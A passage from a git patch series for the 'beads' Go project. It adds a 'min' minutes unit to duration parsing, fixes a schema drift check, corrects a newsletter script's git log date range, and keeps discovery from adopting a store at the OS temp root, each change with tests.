to the shared timeparsing grammar with a cross-package test. ParseCompactDuration is the oracle, so a unit added to that grammar but missed in durationWords/isDurationSuffix now fails loudly instead of silently resolving as a future offset -- the class this fixup previously closed only for "min". Verified by adding "sec" to the shared pattern alone: the test discovers and fails it with no test edit. - pin that a duration token on a non-time field (label=1min) is still filtered as a literal string, since parseTimeValue is the only consumer of ValueType. - list min/m/y in the bd query duration help, so "m" reads as months right next to "min". The generated CLI docs are release-pinned (docs/cli-docs.pin v1.2.2, built from the tag rather than the working tree), so they are deliberately not regenerated here; ./scripts/generate-cli-docs.sh --check reports them fresh. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Julian Knutsen --- cmd/bd/list_test.go | 24 ++++ cmd/bd/query.go | 4 +- internal/query/lexer.go | 45 +++++++ internal/query/query_test.go | 166 ++++++++++++++++++++++++++ internal/timeparsing/duration_test.go | 34 ++++++ internal/timeparsing/parser.go | 16 ++- 6 files changed, 282 insertions(+), 7 deletions(-) diff --git a/cmd/bd/list_test.go b/cmd/bd/list_test.go index 0e022abac..2aa3dcd64 100644 --- a/cmd/bd/list_test.go +++ b/cmd/bd/list_test.go @@ -1322,6 +1322,7 @@ func TestParseTimeFlag(t *testing.T) { {"Compact days", "+1d", false}, {"Compact weeks", "+2w", false}, {"Compact negative", "-3d", false}, + {"Compact minutes", "+30min", false}, // Natural language (GH#820) {"Natural tomorrow", "tomorrow", false}, {"Natural next monday", "next monday", false}, @@ -1340,6 +1341,29 @@ func TestParseTimeFlag(t *testing.T) { } } +// TestParseTimeFlag_MinutesVsMonths guards GH#6609: "min" is minutes, bare "m" stays months. +func TestParseTimeFlag_MinutesVsMonths(t *testing.T) { + t.Parallel() + minutes, err := parseTimeFlag("+30min") + if err != nil { + t.Fatalf("parseTimeFlag(+30min) error: %v", err) + } + if d := time.Until(minutes); d < 29*time.Minute || d > 31*time.Minute { + t.Errorf("+30min resolved %v from now, want ~30m", d) + } + months, err := parseTimeFlag("+30m") + if err != nil { + t.Fatalf("parseTimeFlag(+30m) error: %v", err) + } + // Bound the months arm on both sides against a computed expectation: a + // one-sided "more than a year out" check stays green if "m" regressed to + // years or decades, which is the exact discrimination this test exists for. + wantMonths := time.Now().AddDate(0, 30, 0) + if d := months.Sub(wantMonths); d < -time.Minute || d > time.Minute { + t.Errorf("+30m resolved %v, want ~%v (30 months out)", months, wantMonths) + } +} + // TestListTimeBasedFilters tests the time-based scheduling filters (GH#820) func TestListTimeBasedFilters(t *testing.T) { t.Parallel() diff --git a/cmd/bd/query.go b/cmd/bd/query.go index 7151ba257..7bfc3313f 100644 --- a/cmd/bd/query.go +++ b/cmd/bd/query.go @@ -63,7 +63,9 @@ Supported fields: mol_type Molecule type (swarm, patrol, work) Date values: - Relative durations: 7d (7 days ago), 24h (24 hours ago), 2w (2 weeks ago) + Relative durations: 30min (30 minutes ago), 24h (24 hours ago), + 7d (7 days ago), 2w (2 weeks ago), + 6m (6 months ago), 1y (1 year ago) Absolute dates: 2025-01-15, 2025-01-15T10:00:00Z Natural language: tomorrow, "next monday", "in 3 days" diff --git a/internal/query/lexer.go b/internal/query/lexer.go index f6f92d333..fb5540b42 100644 --- a/internal/query/lexer.go +++ b/internal/query/lexer.go @@ -271,6 +271,19 @@ func (l *Lexer) readNumberOrDuration(startPos int) (Token, error) { return Token{Type: TokenDuration, Value: sb.String(), Pos: startPos}, nil } + // Multi-rune duration suffixes ("min") cannot be recognized above: + // isDurationSuffix classifies a single rune, and the stands-alone guard + // bails on the letters that follow it. Left as an identifier, "30min" + // would skip the evaluator's TokenDuration arm and resolve through + // timeparsing.ParseRelativeTime as a *future* offset — the opposite + // direction from the "N ago" contract 7d, 24h and 30m all honor. + if r != 0 { + if word, ok := l.acceptDurationWord(); ok { + sb.WriteString(word) + return Token{Type: TokenDuration, Value: sb.String(), Pos: startPos}, nil + } + } + // Identifier-continuation fallback: an unsigned digit-led run that // butts against more identifier characters is an identifier, not a // number. Restart the lex at the original position and read it as an @@ -358,3 +371,35 @@ func isDurationSuffix(r rune) bool { return false } } + +// durationWords are the multi-rune duration suffixes of the shared +// compact-duration grammar (internal/timeparsing). "min" is spelled out there +// precisely because "m" means months, so the query plane has to match the whole +// word to classify it as a duration. Lowercase only, matching that grammar. +var durationWords = []string{"min"} + +// acceptDurationWord reports whether the input spells a multi-rune duration +// suffix, starting at the rune the caller most recently read with next() and +// standing alone. On a match it consumes the suffix and returns it; otherwise +// the lexer position is left untouched. +func (l *Lexer) acceptDurationWord() (string, bool) { + if l.width == 0 { + return "", false + } + start := l.pos - l.width + for _, word := range durationWords { + if !strings.HasPrefix(l.input[start:], word) { + continue + } + end := start + len(word) + // More identifier characters follow ("30mins", "30minutes", + // "30min-sla"), so this is an identifier, not a duration. + if end < len(l.input) && isIdentChar(rune(l.input[end])) { + continue + } + l.pos = end + l.width = 1 + return word, true + } + return "", false +} diff --git a/internal/query/query_test.go b/internal/query/query_test.go index d8223f62f..94b3c8660 100644 --- a/internal/query/query_test.go +++ b/internal/query/query_test.go @@ -5,6 +5,7 @@ import ( "time" "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/timeparsing" "github.com/steveyegge/beads/internal/types" ) @@ -146,6 +147,36 @@ func TestLexer(t *testing.T) { expected: []TokenType{TokenIdent, TokenGreater, TokenDuration, TokenAnd, TokenIdent, TokenEquals, TokenIdent, TokenEOF}, values: []string{"updated", ">", "30d", "AND", "status", "=", "open", ""}, }, + { + name: "multi-rune minutes suffix is a duration", + input: "updated>30min", + expected: []TokenType{TokenIdent, TokenGreater, TokenDuration, TokenEOF}, + values: []string{"updated", ">", "30min", ""}, + }, + { + name: "multi-rune minutes suffix in a compound expression", + input: "updated>30min AND status=open", + expected: []TokenType{TokenIdent, TokenGreater, TokenDuration, TokenAnd, TokenIdent, TokenEquals, TokenIdent, TokenEOF}, + values: []string{"updated", ">", "30min", "AND", "status", "=", "open", ""}, + }, + { + name: "plural minutes spelling stays an identifier", + input: "label=30mins", + expected: []TokenType{TokenIdent, TokenEquals, TokenIdent, TokenEOF}, + values: []string{"label", "=", "30mins", ""}, + }, + { + name: "minutes suffix continuing into an identifier stays an identifier", + input: "label=30min-window", + expected: []TokenType{TokenIdent, TokenEquals, TokenIdent, TokenEOF}, + values: []string{"label", "=", "30min-window", ""}, + }, + { + name: "uppercase minutes spelling stays an identifier", + input: "label=30MIN", + expected: []TokenType{TokenIdent, TokenEquals, TokenIdent, TokenEOF}, + values: []string{"label", "=", "30MIN", ""}, + }, } for _, tt := range tests { @@ -681,6 +712,141 @@ func TestDurationParsing(t *testing.T) { } } +// TestQueryMinutesUnitResolvesAgo pins the query-plane semantics of the "min" +// minutes unit in the shared compact-duration grammar: like every other duration +// token here it resolves to N *ago*, per the documented contract in +// `bd query --help` ("7d (7 days ago)"). The fixed now makes the exact instant +// assertable, so classifying "30min" as an identifier again — which routes it to +// the future-relative ParseRelativeTime fallback — fails this test. +func TestQueryMinutesUnitResolvesAgo(t *testing.T) { + now := time.Date(2025, 2, 4, 12, 0, 0, 0, time.UTC) + + tests := []struct { + name string + query string + want time.Time + bound func(*types.IssueFilter) *time.Time + }{ + { + name: "created>30min is 30 minutes ago", + query: "created>30min", + want: now.Add(-30 * time.Minute), + bound: func(f *types.IssueFilter) *time.Time { return f.CreatedAfter }, + }, + { + name: "updated<90min is 90 minutes ago", + query: "updated<90min", + want: now.Add(-90 * time.Minute), + bound: func(f *types.IssueFilter) *time.Time { return f.UpdatedBefore }, + }, + { + name: "bare m still means months, not minutes", + query: "created>30m", + want: now.AddDate(0, -30, 0), + bound: func(f *types.IssueFilter) *time.Time { return f.CreatedAfter }, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result, err := EvaluateAt(tt.query, now) + if err != nil { + t.Fatalf("EvaluateAt(%q) error = %v", tt.query, err) + } + got := tt.bound(&result.Filter) + if got == nil { + t.Fatalf("EvaluateAt(%q) left the time bound unset, filter=%+v", tt.query, result.Filter) + } + if !got.Equal(tt.want) { + t.Errorf("EvaluateAt(%q) = %s, want %s", tt.query, got.Format(time.RFC3339), tt.want.Format(time.RFC3339)) + } + }) + } +} + +// TestCompactDurationGrammarReachesQueryPlane binds this package's duration +// grammar to the shared one in internal/timeparsing, which owns it. The lexer +// keeps a second copy of the unit set — isDurationSuffix for single runes, +// durationWords for whole words — and nothing outside this test holds the two +// in sync. A unit added to the shared grammar but missed here lexes as +// TokenIdent, skips the evaluator's TokenDuration arm, and resolves through +// ParseRelativeTime as a *future* offset: the "30min meant 30 minutes from now" +// inversion this PR fixed, reproduced silently for the next unit. +// +// The shared pattern is unexported, so ParseCompactDuration is the oracle: +// whatever suffix it accepts must lex as a duration here. Candidates are +// exhaustive over lowercase ASCII up to three runes, so plausible future +// spellings ("sec", "hr", "mo", "yr") are covered alongside today's six. +// +// Only this direction is asserted. The reverse — everything the lexer accepts +// being valid in the shared grammar — is already false at base: isDurationSuffix +// also takes "H D W M Y", which the case-sensitive pattern rejects, so +// "created>30M" lexes as a duration and then fails in ParseCompactDuration. +// That asymmetry predates this PR and is not what this test is for. +func TestCompactDurationGrammarReachesQueryPlane(t *testing.T) { + now := time.Date(2025, 2, 4, 12, 0, 0, 0, time.UTC) + + const letters = "abcdefghijklmnopqrstuvwxyz" + var candidates []string + for _, a := range letters { + candidates = append(candidates, string(a)) + for _, b := range letters { + candidates = append(candidates, string(a)+string(b)) + for _, c := range letters { + candidates = append(candidates, string(a)+string(b)+string(c)) + } + } + } + + var accepted []string + isAccepted := make(map[string]bool) + for _, unit := range candidates { + if _, err := timeparsing.ParseCompactDuration("1"+unit, now); err != nil { + continue + } + accepted = append(accepted, unit) + isAccepted[unit] = true + } + + // Guard the oracle itself: if ParseCompactDuration stopped accepting the + // units the grammar documents, every assertion below would pass vacuously. + for _, unit := range []string{"min", "h", "d", "w", "m", "y"} { + if !isAccepted[unit] { + t.Fatalf("oracle lost unit %q: timeparsing no longer accepts %q", unit, "1"+unit) + } + } + + for _, unit := range accepted { + t.Run(unit, func(t *testing.T) { + value := "1" + unit + + tokens, err := NewLexer("updated>" + value).Tokenize() + if err != nil { + t.Fatalf("Tokenize(updated>%s) error = %v", value, err) + } + if len(tokens) < 3 { + t.Fatalf("Tokenize(updated>%s) produced %d tokens, want at least 3", value, len(tokens)) + } + if tokens[2].Type != TokenDuration || tokens[2].Value != value { + t.Errorf("timeparsing accepts %q but the query lexer typed it %v(%q), want %v(%q); "+ + "add the unit to durationWords/isDurationSuffix or it resolves as a future offset", + value, tokens[2].Type, tokens[2].Value, TokenDuration, value) + } + + // Widening the duration grammar must not change non-time fields: + // parseTimeValue is the only consumer of ValueType, so a duration + // token on label= is still filtered as the literal string. + result, err := EvaluateAt("label="+value, now) + if err != nil { + t.Fatalf("EvaluateAt(label=%s) error = %v", value, err) + } + if len(result.Filter.Labels) != 1 || result.Filter.Labels[0] != value { + t.Errorf("EvaluateAt(label=%s) Labels = %v, want [%q]", value, result.Filter.Labels, value) + } + }) + } +} + func TestEvaluatorMetadataQueries(t *testing.T) { now := time.Date(2025, 2, 4, 12, 0, 0, 0, time.UTC) diff --git a/internal/timeparsing/duration_test.go b/internal/timeparsing/duration_test.go index e6cead242..34e7ff059 100644 --- a/internal/timeparsing/duration_test.go +++ b/internal/timeparsing/duration_test.go @@ -42,6 +42,28 @@ func TestParseCompactDuration(t *testing.T) { want: time.Date(2026, 6, 15, 12, 0, 0, 0, time.UTC), }, + // "min" is the unambiguous minute unit; bare "m" stays months (GH #6609) + { + name: "+30min adds 30 minutes", + input: "+30min", + want: time.Date(2025, 6, 15, 12, 30, 0, 0, time.UTC), + }, + { + name: "-15min subtracts 15 minutes", + input: "-15min", + want: time.Date(2025, 6, 15, 11, 45, 0, 0, time.UTC), + }, + { + name: "90min without sign adds 90 minutes", + input: "90min", + want: time.Date(2025, 6, 15, 13, 30, 0, 0, time.UTC), + }, + { + name: "+30m still adds 30 months", + input: "+30m", + want: time.Date(2027, 12, 15, 12, 0, 0, 0, time.UTC), + }, + // Valid negative durations (past) { name: "-1d subtracts 1 day", @@ -99,6 +121,16 @@ func TestParseCompactDuration(t *testing.T) { input: "++1d", wantErr: true, }, + { + name: "30mins (plural) is invalid", + input: "+30mins", + wantErr: true, + }, + { + name: "30minutes is invalid", + input: "+30minutes", + wantErr: true, + }, { name: "1x (unknown unit) is invalid", input: "1x", @@ -161,6 +193,8 @@ func TestIsCompactDuration(t *testing.T) { {"3m", true}, {"1y", true}, {"+24h", true}, + {"+30min", true}, + {"+30mins", false}, {"", false}, {"tomorrow", false}, {"2025-01-15", false}, diff --git a/internal/timeparsing/parser.go b/internal/timeparsing/parser.go index feced0b38..8d495385c 100644 --- a/internal/timeparsing/parser.go +++ b/internal/timeparsing/parser.go @@ -17,22 +17,24 @@ import ( "github.com/olebedev/when/rules/en" ) -// compactDurationRe matches compact duration patterns: [+-]?(\d+)([hdwmy]) -// Examples: +6h, -1d, +2w, 3m, 1y -var compactDurationRe = regexp.MustCompile(`^([+-]?)(\d+)([hdwmy])$`) +// compactDurationRe matches compact duration patterns: [+-]?(\d+)(min|[hdwmy]) +// Examples: +6h, -1d, +2w, 3m, 1y, +30min +var compactDurationRe = regexp.MustCompile(`^([+-]?)(\d+)(min|[hdwmy])$`) // ParseCompactDuration parses compact duration syntax and returns the resulting time. // -// Format: [+-]?(\d+)([hdwmy]) +// Format: [+-]?(\d+)(min|[hdwmy]) // // Units: +// - min = minutes // - h = hours // - d = days // - w = weeks -// - m = months +// - m = months (NOT minutes; use "min" for minutes) // - y = years // // Examples: +// - "+30min" -> now + 30 minutes // - "+6h" -> now + 6 hours // - "-1d" -> now - 1 day // - "+2w" -> now + 2 weeks @@ -67,6 +69,8 @@ func ParseCompactDuration(s string, now time.Time) (time.Time, error) { // applyDuration applies the given amount and unit to the base time. func applyDuration(base time.Time, amount int, unit string) time.Time { switch unit { + case "min": + return base.Add(time.Duration(amount) * time.Minute) case "h": return base.Add(time.Duration(amount) * time.Hour) case "d": @@ -179,5 +183,5 @@ func ParseRelativeTime(s string, now time.Time) (time.Time, error) { return t.UTC(), nil } - return time.Time{}, fmt.Errorf("cannot parse time expression: %q (examples: +6h, tomorrow, 2025-01-15)", s) + return time.Time{}, fmt.Errorf("cannot parse time expression: %q (examples: +30min, +6h, tomorrow, 2025-01-15)", s) } From 27700f4e3562f52716502a46e3d64efd391743c9 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 18:53:32 -0700 Subject: [PATCH 124/624] fix(schema): probe cursor table before drift check (#5862) (#6492) Route CheckBehindDrift through CurrentVersion so a fresh database is checked through the information_schema existence probe before querying schema_migrations. Keep the existing *sql.DB API and add one focused regression test for the missing-table path. Rebased onto upstream/main a690b0a8c (was authored against 64a136d5, conductor-verified worktree HEAD 70eeaebb). --- internal/storage/schema/schema.go | 6 ++-- internal/storage/schema/schema_skew_test.go | 32 +++++++++++++++++++++ 2 files changed, 34 insertions(+), 4 deletions(-) diff --git a/internal/storage/schema/schema.go b/internal/storage/schema/schema.go index 5ee2df65a..ff5347a68 100644 --- a/internal/storage/schema/schema.go +++ b/internal/storage/schema/schema.go @@ -191,10 +191,8 @@ func IsSchemaBehindError(err error) bool { // to a warning, mirroring forward drift. A fresh DB (version 0) is reported // as behind too: it has no readable schema at all. func CheckBehindDrift(ctx context.Context, db *sql.DB) error { - var currentVersion int - if err := db.QueryRowContext(ctx, - "SELECT COALESCE(MAX(version), 0) FROM schema_migrations", - ).Scan(¤tVersion); err != nil { + currentVersion, err := CurrentVersion(ctx, db) + if err != nil { return fmt.Errorf("schema behind-drift check: %w", err) } if currentVersion >= LatestVersion() { diff --git a/internal/storage/schema/schema_skew_test.go b/internal/storage/schema/schema_skew_test.go index 5a03d27af..860f90933 100644 --- a/internal/storage/schema/schema_skew_test.go +++ b/internal/storage/schema/schema_skew_test.go @@ -290,3 +290,35 @@ func TestIsSchemaSkewError_OtherError(t *testing.T) { t.Error("IsSchemaSkewError(non-SchemaSkewError) = true, want false") } } + +// -- CheckBehindDrift unit tests (mock DB) -- + +func TestCheckBehindDrift_FreshDB_ReturnsSchemaBehindError(t *testing.T) { + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("sqlmock.New: %v", err) + } + defer db.Close() + + // On a fresh database where schema_migrations does not exist, the cursor probe + // returns 0 and no bare SELECT against schema_migrations is issued. + expectCursorProbe(mock, "schema_migrations", false) + + got := CheckBehindDrift(context.Background(), db) + if got == nil { + t.Fatal("CheckBehindDrift = nil, want *SchemaBehindError for fresh DB (version=0)") + } + var behindErr *SchemaBehindError + if !errors.As(got, &behindErr) { + t.Fatalf("error type = %T (%v), want *SchemaBehindError", got, got) + } + if behindErr.DBVersion != 0 { + t.Errorf("DBVersion = %d, want 0", behindErr.DBVersion) + } + if behindErr.BinaryVersion != LatestVersion() { + t.Errorf("BinaryVersion = %d, want %d", behindErr.BinaryVersion, LatestVersion()) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet sql expectations: %v", err) + } +} From fd05690bdd4f5644e2d89f4243e8966bc07d9924 Mon Sep 17 00:00:00 2001 From: Rome Thorstenson <36779795+Rome-1@users.noreply.github.com> Date: Sat, 26 Sep 2026 18:56:29 -0700 Subject: [PATCH 125/624] Newsletter dropped every commit made before the hour it ran (#6491) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * The newsletter dropped every commit made before the hour it ran `--since` takes an APPROXIDATE, so the bare date this built did not mean the start of that day -- it meant that day at the CURRENT TIME OF DAY. Measured on a live tree at 17:02 local: git log --since=2026-09-10 -> 0 commits git log --since=2026-09-10T00:00:00 -> 60 commits Sixty commits dropped, silently, in a script whose output is published. The same invocation answered differently depending on the hour it ran. The half-fix is a trap, and it is the one the town-wide description leads to. The finding has been circulated as "--since is a traversal cutoff"; that is true and it is not this bug. Swapping in --since-as-filter while keeping the bare date keeps the whole defect, because approxidate applies to the VALUE regardless of which flag reads it: git log --since-as-filter=2026-09-10 -> 0 commits git log --since-as-filter=2026-09-10T00:00:00 -> 60 commits So both are fixed here: a full timestamp for the approxidate, and --since-as-filter (git 2.37+) for the cutoff, with a comment saying not to simplify either back. FOUR copies, not the three named, in two versions drifted 184 lines apart -- beads/{mayor,refinery} and gastown/{mayor,refinery}. The defective block was byte-identical in both (md5 6fdd32e6 over lines 156-160). All four working trees are patched; the 184-line drift is left alone, because converging them is a decision nobody has made. Verified through the patched code rather than by exit code: exec'ing the new get_commits_since for 2026-09-10 returns 60 where the old form returns 0. igr-9qdx Executed-By: mayor * fix(newsletter): fail loudly when git is too old for --since-as-filter --since-as-filter needs git 2.37 (2022-06). On anything older `git log` exits 129 with `error: unknown option 'since-as-filter=...'` on stderr, stdout is empty, and get_commits_since returned [] — reproducing the silent-and-shorter newsletter this change exists to fix, with a new cause. Check the return code and raise with the version floor named. An empty stdout on a zero exit is still a legitimate "no commits in range". Verified against a shim that rejects the flag the way git < 2.37 does: with the guard, RuntimeError naming the floor; with it reverted, 0 commits and no error; on real git 2.43, 40 commits, unchanged. * docs(newsletter): record the new git >= 2.37 floor --since-as-filter puts the script's first hard git-version floor on the release path (beads-release.formula.toml:866/:870 -> release-complete), but nothing outside get_commits_since()'s docstring said so. On an older runner the release step aborts and the operator has to trace the cause into a function body. Add it to the module docstring alongside its existing requirement sections, and to the README Setup section. No silent fallback to plain --since -- that reinstates the truncation this PR exists to remove. Placement is deliberate: the prose does NOT go in the `# /// script` PEP 723 block. That fence is parsed as TOML, so a comment line there is a hard launcher failure, measured on uv 0.9.5: # /// script # requires-python = ">=3.10" # Requires git >= 2.37 for --since-as-filter # /// $ uv run probe.py error: TOML parse error at line 3, column 10 ... key with no value exit 2 The docstring already carries the Usage / Environment Variables / Configuration File sections, so Requirements belongs beside them. After the edit `uv run scripts/generate-newsletter.py --help` exits 0, and the error string quoted in the README is byte-identical to the f-string it documents. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- scripts/generate-newsletter.py | 39 ++++++++++++++++++++++++--- scripts/generate-newsletter_README.md | 7 +++++ 2 files changed, 43 insertions(+), 3 deletions(-) diff --git a/scripts/generate-newsletter.py b/scripts/generate-newsletter.py index b52785c91..3378ed8fe 100755 --- a/scripts/generate-newsletter.py +++ b/scripts/generate-newsletter.py @@ -12,6 +12,11 @@ """ Generate a weekly Beads newsletter based on changelog, commits, and changes. +Requirements: + git >= 2.37 - get_commits_since() passes --since-as-filter to git log + (added in git 2.37, 2022-06). On older git the script + raises rather than silently reporting an empty range. + Usage: python generate-newsletter.py python generate-newsletter.py --model gpt-4o @@ -154,13 +159,41 @@ def get_previous_version() -> tuple[str, datetime]: def get_commits_since(since_date: datetime) -> list[dict]: - """Get git commits since the given date.""" + """Get git commits since the given date. + + Two things below are deliberate, and both of them were bugs whose failure + direction is silent-and-shorter: the newsletter comes out missing commits + and nothing about it looks wrong. + + THE TIMESTAMP IS WRITTEN OUT IN FULL because `--since` takes an + APPROXIDATE, and a bare `2026-09-10` does not mean the start of that day -- + it means that day at the CURRENT TIME OF DAY. Measured on this tree at + 17:02 local, `git log --since=2026-09-10` returned 0 commits where + `--since=2026-09-10T00:00:00` returned 60. Every commit made before the + hour the script happens to run is dropped, so the same command answers + differently depending on when it is invoked. + + `--since-as-filter` IS NOT A TYPO. Plain `--since` is a traversal CUTOFF: + git stops walking the moment it meets a commit older than the bound, so any + commit whose date is out of order with its topology -- rebase, cherry-pick, + imported history, clock skew between machines -- is dropped even though it + is inside the range. `--since-as-filter` (git 2.37+) walks the whole + history and filters, which is what a date range is supposed to mean. + + Do not "simplify" either one back. (igr/fable, 2026-09-10.) + """ + since_arg = since_date.strftime('%Y-%m-%dT%H:%M:%S') result = subprocess.run( - ["git", "log", f"--since={since_date.strftime('%Y-%m-%d')}", "--oneline", "--format=%h|%s|%an|%ai"], + ["git", "log", f"--since-as-filter={since_arg}", "--oneline", "--format=%h|%s|%an|%ai"], capture_output=True, text=True ) - + if result.returncode != 0: + raise RuntimeError( + "git log failed (--since-as-filter needs git >= 2.37): " + f"{result.stderr.strip()}" + ) + commits = [] for line in result.stdout.strip().split('\n'): if line: diff --git a/scripts/generate-newsletter_README.md b/scripts/generate-newsletter_README.md index 3b8161b7f..50a663482 100644 --- a/scripts/generate-newsletter_README.md +++ b/scripts/generate-newsletter_README.md @@ -4,6 +4,13 @@ This script generates a weekly Beads newsletter based on the changelog, git comm ## Setup +### Requirements + +- **git >= 2.37** (2022-06). The commit range is collected with `git log + --since-as-filter`, which older git does not support. On older git the script + fails with `git log failed (--since-as-filter needs git >= 2.37): ...` instead + of generating a newsletter that silently omits commits. + ### Environment Variables Set the appropriate API key for your chosen model: From 183565d50b671252099bd6abc76f8f0e8f74ea9f Mon Sep 17 00:00:00 2001 From: Rongjun GENG Date: Sat, 26 Sep 2026 18:58:00 -0700 Subject: [PATCH 126/624] fix(init): ignore beads store at OS temp root (#6641) * fix(init): ignore beads store at OS temp root * fix(discovery): centralize temp-root walk ceiling * fix(discovery): guard the empty boundary sentinel in the migrated walks Maintainer review fixup for #6641. FindAllDatabases canonicalized findGitRoot()'s "not in a git repo" sentinel. CanonicalizePath("") resolves to the current working directory, so the `dir == gitRoot` break fired on the walk's first iteration and discovery stopped at the CWD instead of walking upward - an exported-API regression for every non-git caller. Guard the canonicalization the way findDatabaseInTree already does. findParentConfig hit the same mechanism one file away: an unset HOME makes os.UserHomeDir fail, and canonicalizing the resulting "" turned "don't search above $HOME" into "stop at the CWD". Also record the two AncestorDirWalk semantics the migration changed but did not document: the temp-root ceiling ends the walk rather than skipping the temp root (so ancestors above it are unreachable from below, which matters when TMPDIR points inside a project), and the walk yields the filesystem root, which most of the replaced hand-rolled loops did not. Both are now pinned by tests so they cannot flip silently. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- cmd/bd/bootstrap.go | 22 ++-- cmd/bd/bootstrap_test.go | 66 ++++++++++ cmd/bd/init_test.go | 37 ++++++ cmd/bd/where.go | 14 +- cmd/bd/where_test.go | 42 ++++++ internal/beads/beads.go | 166 ++++++++++++++++-------- internal/beads/beads_test.go | 244 +++++++++++++++++++++++++++++++++++ 7 files changed, 515 insertions(+), 76 deletions(-) diff --git a/cmd/bd/bootstrap.go b/cmd/bd/bootstrap.go index 95ba55b57..772e2f446 100644 --- a/cmd/bd/bootstrap.go +++ b/cmd/bd/bootstrap.go @@ -29,6 +29,7 @@ import ( "github.com/steveyegge/beads/internal/storage/embeddeddolt" "github.com/steveyegge/beads/internal/storage/schema" "github.com/steveyegge/beads/internal/storage/versioncontrolops" + "github.com/steveyegge/beads/internal/utils" "golang.org/x/term" ) @@ -1308,10 +1309,18 @@ func isNonInteractiveBootstrap(flagValue bool) bool { func findParentConfig(beadsDir string) (*configfile.Config, error) { // Start from the parent of beadsDir's enclosing directory. // beadsDir is typically "/.beads", so we start from 's parent. - start := filepath.Dir(filepath.Dir(beadsDir)) - homeDir, _ := os.UserHomeDir() - - for dir := start; dir != "/" && dir != "."; { + start := utils.CanonicalizePath(filepath.Dir(filepath.Dir(beadsDir))) + // Canonicalize the $HOME boundary only when there is one. An unset HOME + // makes os.UserHomeDir fail, and CanonicalizePath("") resolves to the + // current working directory, which would silently turn "don't search above + // $HOME" into "stop at the CWD". Keep "" meaning "no boundary". + homeDir := "" + if home, err := os.UserHomeDir(); err == nil && home != "" { + homeDir = utils.CanonicalizePath(home) + } + origin := utils.CanonicalizePath(filepath.Dir(beadsDir)) + walk := beads.NewAncestorDirWalk(start, origin) + for dir, ok := walk.Next(); ok; dir, ok = walk.Next() { candidate := filepath.Join(dir, ".beads") cfg, err := configfile.LoadForDiscovery(candidate) if err != nil { @@ -1329,11 +1338,6 @@ func findParentConfig(beadsDir string) (*configfile.Config, error) { break } - parent := filepath.Dir(dir) - if parent == dir { - break - } - dir = parent } return nil, nil } diff --git a/cmd/bd/bootstrap_test.go b/cmd/bd/bootstrap_test.go index c590f6d24..2ab190820 100644 --- a/cmd/bd/bootstrap_test.go +++ b/cmd/bd/bootstrap_test.go @@ -1044,6 +1044,72 @@ func TestFindParentConfigDoesNotSkipCorruptNearestAncestor(t *testing.T) { } } +func TestFindParentConfigDoesNotAdoptOSTempRoot(t *testing.T) { + sandbox := t.TempDir() + tempRoot := filepath.Join(sandbox, "tmp") + rootBeadsDir := filepath.Join(tempRoot, ".beads") + if err := os.MkdirAll(rootBeadsDir, 0o750); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(rootBeadsDir, "metadata.json"), []byte(`{"dolt_database":"temp_root"}`), 0o600); err != nil { + t.Fatal(err) + } + t.Setenv("TMPDIR", tempRoot) + + requested := filepath.Join(tempRoot, "isolated", "project", ".beads") + cfg, err := findParentConfig(requested) + if err != nil { + t.Fatal(err) + } + if cfg != nil { + t.Fatalf("findParentConfig() adopted OS temp-root database %q", cfg.GetDoltDatabase()) + } +} + +// TestFindParentConfigWithoutHomeKeepsSearchingAboveCwd pins the $HOME +// boundary's empty sentinel. os.UserHomeDir fails when HOME is unset, and +// canonicalizing the resulting "" resolves it to the current working +// directory, which silently turns "don't search above $HOME" into "stop at the +// CWD". The walk here starts exactly at the CWD, so the ancestor workspace +// config one level up is only reachable when "" still means "no boundary". +func TestFindParentConfigWithoutHomeKeepsSearchingAboveCwd(t *testing.T) { + sandbox := t.TempDir() + workspace := filepath.Join(sandbox, "workspace") + workspaceBeadsDir := filepath.Join(workspace, ".beads") + if err := os.MkdirAll(workspaceBeadsDir, 0o750); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(workspaceBeadsDir, "metadata.json"), []byte(`{"dolt_database":"parent_workspace"}`), 0o600); err != nil { + t.Fatal(err) + } + + // findParentConfig starts at the parent of the requested .beads directory's + // project, which is /rig here. + rig := filepath.Join(workspace, "rig") + requested := filepath.Join(rig, "project", ".beads") + if err := os.MkdirAll(requested, 0o750); err != nil { + t.Fatal(err) + } + t.Chdir(rig) + // Keep the temp-root ceiling clear of this walk; it is not what this pins. + t.Setenv("TMPDIR", filepath.Join(sandbox, "tmp")) + // os.UserHomeDir reads HOME everywhere except Windows, where it reads + // USERPROFILE; clear both so it fails the way an unset HOME does. + t.Setenv("HOME", "") + t.Setenv("USERPROFILE", "") + + cfg, err := findParentConfig(requested) + if err != nil { + t.Fatal(err) + } + if cfg == nil { + t.Fatal("findParentConfig() = nil, want the workspace config above the CWD") + } + if got := cfg.GetDoltDatabase(); got != "parent_workspace" { + t.Errorf("GetDoltDatabase() = %q, want %q", got, "parent_workspace") + } +} + // TestDetectBootstrapAction_SharedServerEnvUsesSharedPath verifies that when // BEADS_DOLT_SHARED_SERVER=1 is set but cfg.DoltMode is the default (embedded), // detectBootstrapAction looks in the shared-server directory — not embeddeddolt/. diff --git a/cmd/bd/init_test.go b/cmd/bd/init_test.go index 294dc65f3..7128b1f1b 100644 --- a/cmd/bd/init_test.go +++ b/cmd/bd/init_test.go @@ -19,6 +19,7 @@ import ( "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/storage/dolt" "github.com/steveyegge/beads/internal/testutil" + "github.com/steveyegge/beads/internal/utils" ) // skipIfNoDolt skips the test when no Dolt server is available. @@ -181,6 +182,42 @@ func TestInitCommand(t *testing.T) { } } +func TestInitTargetsRequestedProjectBelowOSTempRoot(t *testing.T) { + sandbox := t.TempDir() + tempRoot := filepath.Join(sandbox, "tmp") + tempBeadsDir := filepath.Join(tempRoot, ".beads") + if err := os.MkdirAll(tempBeadsDir, 0o755); err != nil { 